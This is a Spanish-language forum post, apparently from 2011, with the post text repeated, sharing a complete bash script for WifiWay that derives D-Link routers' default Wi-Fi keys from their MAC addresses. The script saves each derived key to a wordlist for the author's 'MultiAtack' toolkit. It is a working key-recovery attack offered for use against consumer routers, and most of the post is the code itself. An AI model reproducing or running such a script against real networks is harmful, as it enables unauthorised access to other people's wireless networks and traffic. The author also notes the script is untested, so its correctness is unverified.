Recupera la clave por defecto de los router Dlink
Surfeando por la red me he encontrado con un proyecto que recupera las claves por defecto de los Routers Dlink.
http://code.google.com/p/dlinkpasswordreminder/
Me ha parecido interesante y se me ha ocurrido hacer este Script para WifiWay.
Yo personalmente no lo he podido probar con ninguna red.
Si alguien lo puede probar y funciona que lo postee.
(así lo implementaré en futuras versiones de MultiAtack)
-- Igual he hecho el tonto un rato...!!!
Descarga:
http://www.multiupload.com/57RIJSO208
Feliz 2011
Surfeando por la red me he encontrado con un proyecto que recupera las claves por defecto de los Routers Dlink.
http://code.google.com/p/dlinkpasswordreminder/
Me ha parecido interesante y se me ha ocurrido hacer este Script para WifiWay.
Yo personalmente no lo he podido probar con ninguna red.
Si alguien lo puede probar y funciona que lo postee.
(así lo implementaré en futuras versiones de MultiAtack)
-- Igual he hecho el tonto un rato...!!!
Código (bash) [Seleccionar]
#!/bin/bash
##############################################################################
# Programa: dlinkpassremind.sh
# Autor: M.K. Maese Kamara para Seguridad Wireless y elhacker
#
# Basado en DlinkPasswordReminder.1.0.1, coded by Buterrip
# http://code.google.com/p/dlinkpasswordreminder
#
#
##############################################################################
dlink_MAC=`echo $1`
cla=""
p=1
function errormac {
clear
echo ""
echo "La MAC $dlink_MAC es invalida. Revisela..."
exit
}
# Comprobar longitud de la MAC escrita
if [ ${#dlink_MAC} != 17 ]; then
clear
echo ""
echo "longitud de MAC invalida. Revisela..."
exit
fi
while [ $p -le 17 ]; do
#leer caracteres de la mMAC
mac=`echo $dlink_MAC|cut -b $p`
puntos[$p]=$mac
# Convertir caracteres en minisculas a mayusculas
if [ $mac = "a" ]; then
mac="A"
fi
if [ $mac = "b" ]; then
mac="B"
fi
if [ $mac = "c" ]; then
mac="C"
fi
if [ $mac = "d" ]; then
mac="D"
fi
if [ $mac = "e" ]; then
mac="E"
fi
if [ $mac = "f" ]; then
mac="F"
fi
# Asignar valores según caracter de la mac
if [ $mac = "0" ]; then
cla[$p]="X"
fi
if [ $mac = "1" ]; then
cla[$p]="r"
fi
if [ $mac = "2" ]; then
cla[$p]="q"
fi
if [ $mac = "3" ]; then
cla[$p]="a"
fi
if [ $mac = "4" ]; then
cla[$p]="H"
fi
if [ $mac = "5" ]; then
cla[$p]="N"
fi
if [ $mac = "6" ]; then
cla[$p]="p"
fi
if [ $mac = "7" ]; then
cla[$p]="d"
fi
if [ $mac = "8" ]; then
cla[$p]="S"
fi
if [ $mac = "9" ]; then
cla[$p]="y"
fi
if [ $mac = "A" ]; then
cla[$p]="w"
fi
if [ $mac = "B" ]; then
cla[$p]="8"
fi
if [ $mac = "C" ]; then
cla[$p]="6"
fi
if [ $mac = "D" ]; then
cla[$p]="2"
fi
if [ $mac = "E" ]; then
cla[$p]="1"
fi
if [ $mac = "F" ]; then
cla[$p]="5"
fi
p=$(($p+1))
done
key=${cla[17]}${cla[1]}${cla[16]}${cla[2]}${cla[14]}${cla[4]}${cla[13]}${cla[5]}${cla[11]}${cla[7]}${cla[10]}${cla[8]}${cla[2]}${cla[10]}${cla[13]}${cla[14]}${cla[17]}${cla[4]}${cla[7]}${cla[16]}
#comprobar si MAC introducida es correcta
if [ ${puntos[3]} != ":" ]; then
errormac
fi
if [ ${puntos[6]} != ":" ]; then
errormac
fi
if [ ${puntos[9]} != ":" ]; then
errormac
fi
if [ ${puntos[12]} != ":" ]; then
errormac
fi
if [ ${puntos[15]} != ":" ]; then
errormac
fi
if [ ${#key} != 20 ]; then
errormac
fi
clear
echo "Script basado en DlinkPasswordReminder.1.0.1 original de Buterrip"
echo ""
echo "Key por defecto para"
echo "Dlink con MAC $dlink_MAC"
echo ""
echo $key
echo "--------------------"
echo "Se ha guardado en el fichero"
echo "/root/swireless/wordlist/KeyDlink_$dlink_MAC"
echo ""
echo " Saludos desde SeguridadWireless.net y elhacker.net"
echo ""
echo $key >> /root/swireless/wordlist/KeyDlink_$dlink_MAC
#end
Descarga:
http://www.multiupload.com/57RIJSO208
Feliz 2011